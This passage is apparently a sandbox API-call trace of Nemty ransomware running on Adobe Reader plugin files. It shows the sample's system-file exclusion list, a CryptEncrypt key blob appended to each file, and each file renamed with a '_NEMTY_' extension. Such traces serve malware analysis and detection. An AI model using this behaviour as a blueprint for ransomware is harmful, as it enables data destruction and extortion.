lpString2="IO.SYS") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="boot.ini") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="boot.ini") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="ntuser.dat") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="desktop.ini") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="CONFIG.SYS") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="RECYCLER") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="bootmgr") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="programdata") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="appdata") returned 1 [0191.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.586] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.EUQ", lpUsedDefaultChar=0x0) returned 16 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.EUQ", lpUsedDefaultChar=0x0) returned 16 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.EUQ", lpUsedDefaultChar=0x0) returned 16 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.EUQ", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.EUQ", lpUsedDefaultChar=0x0) returned 16 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.587] Sleep (dwMilliseconds=0x5) [0191.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d8fc70, dwHighDateTime=0x1d561e8)) [0191.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d8fc70, dwHighDateTime=0x1d561e8)) [0191.597] GetLastError () returned 0x0 [0191.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.597] GetLastError () returned 0x0 [0191.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.597] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0191.598] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e29c | out: pszString="lt3FwgwTGaWawXwS8W/pOBvPfyFxYSIiQB/Gf1o+NtoVnNMpvMtfNbjWB9KJAWh3\r\nrE0xQnbeDTYhPtR3GmQ3HQPUUnBv6F85wzvBsdOfVhUzLHfu6G/51Zk/4O4KupS+\r\nb4IL9tYvas6Tef4inATPDlqQvHYc2YTf25S/7H2dnXfiN1CCFmEPVWz2JGXe3t2j\r\n5Uegp8IKqjzAFF5Ri0nLDkV5vYFHBwnwv2ZuBrXBGyBdweYcntv7iFURk7bzX5Ee\r\nl+8OLrzMxdxKdfWJcxknAIY4LfRzPgRYL8PQcLwwCaMlrzo1DaOa0Mg5EHseU/6y\r\naVksaRlxLps8Fg4le7uvqQ==\r\n", pcchString=0x653e29c) returned 1 [0191.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0191.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.598] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.598] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.598] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.600] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.600] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.600] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.600] WriteFile (in: hFile=0x2f0, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.600] CloseHandle (hObject=0x2f0) returned 1 [0191.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.600] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq._nemty_kgobjgd_")) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.601] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.FRA", cAlternateFileName="WINDOW~1.FRA")) returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2=".") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="..") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="...") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="windows") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="$RECYCLE.BIN") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="rsa") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="NTDETECT.COM") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="ntldr") returned 1 [0191.601] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="MSDOS.SYS") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="IO.SYS") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="boot.ini") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="boot.ini") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="ntuser.dat") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="desktop.ini") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="CONFIG.SYS") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="RECYCLER") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="BOOTSECT.BAK") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="bootmgr") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="programdata") returned 1 [0191.602] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2="appdata") returned 1 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.FRA", lpUsedDefaultChar=0x0) returned 16 [0191.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.FRA", lpUsedDefaultChar=0x0) returned 16 [0191.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.FRA", lpUsedDefaultChar=0x0) returned 16 [0191.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.FRA", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.FRA", lpUsedDefaultChar=0x0) returned 16 [0191.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.603] Sleep (dwMilliseconds=0x5) [0191.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25db5dd0, dwHighDateTime=0x1d561e8)) [0191.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25db5dd0, dwHighDateTime=0x1d561e8)) [0191.613] GetLastError () returned 0x0 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.613] GetLastError () returned 0x0 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.613] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.613] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.613] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.613] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="bLERM9Rz6JohEBSbCjowclihlamR0lFFEWjS6aO5/sGf89nqH711jp7HCdC8pKcK\r\nmlvtwsggsIEHr8Ul5kJ7x0pJtuVcBJcEWO7pAIgDnx4r+ZFAoFwe9wheUUQE2vDk\r\nW6OztmOtdQRhvBrTfApV1UmJ3KEBoeIWHTpn4n+6BdRsGw7K0Od5lQ5Bovy0ZBiI\r\ngHmhwg8pLa7r3+VJMluBTdvU1WHmc+JhtOrLP/et8KrYihQyZX5MB+kKMDDpKiTN\r\n1922JKuBMxmATPv/xE2pBgHMZtksNXsQr9C9b67HXa8cnIfxQXrXEuS62vTFYVl1\r\nLNHLMLe8sSpY6xX2zgzMyg==\r\n", pcchString=0x653e29c) returned 1 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.614] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.614] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.614] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.615] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.615] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.616] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.616] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.616] CloseHandle (hObject=0x2f0) returned 1 [0191.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 